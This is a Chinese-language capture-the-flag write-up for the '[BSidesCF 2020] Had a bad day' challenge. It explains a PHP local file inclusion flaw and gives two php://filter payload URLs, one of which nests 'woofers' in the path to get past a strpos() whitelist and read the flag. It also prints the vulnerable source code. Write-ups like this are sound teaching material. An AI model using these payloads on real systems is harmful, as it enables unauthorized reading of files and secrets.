web:[BSidesCF 2020]Had a bad day(伪协议、协议嵌套利用、strpos()函数)

2024-01-03 02:24:02

题目

进入页面显示如下,有两个选项

这里可以注意到url的变化

这里用到伪协议,用php://filter读取php文件源码内容

payload

http://0990b516-c740-417e-bef6-ccc0e8c688ba.node5.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/resource=index.php

没有正常显示,查看报错信息

可能是被拼接了,删除后面的php就行

解码得到源码

<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?</span>
          <div class="mdl-layout-spacer"></div>
        <div>
      </header>
      <div class="page-ribbon"></div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            </div>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
			</div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
    <script src="js/material.min.js"></script>
  </body>
</html>

进行审计发现

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
			</div>
  1. 从URL的查询参数中获取名为category的值,赋给变量$file

  2. 判断$file是否存在。如果存在,则继续执行下一步;如果不存在,则不执行任何操作。

  3. 使用strpos()函数对$file进行检索,判断是否包含"woofers"、"meowers"或"index"字符串。如果其中任何一个字符串在$file中存在,则执行下一步;如果不存在这些字符串,则输出一条提示信息。

  4. 如果满足前面的条件,则使用include语句包含$file . '.php'所指定的PHP文件。

这里利用strpos()函数

通过源码可知,必须要含有woofers、meowers、index其中一个,直接查找flag是找不到的,这里需要包含其中一个

php://filter伪协议可以套一层协议

payload

http://0990b516-c740-417e-bef6-ccc0e8c688ba.node5.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag

解码可得到flag

参考链接:

[BSidesCF 2020]Had a bad day-CSDN博客

https://www.cnblogs.com/buchuo/p/13624032.html

文章来源:https://blog.csdn.net/gsumall04/article/details/135351547
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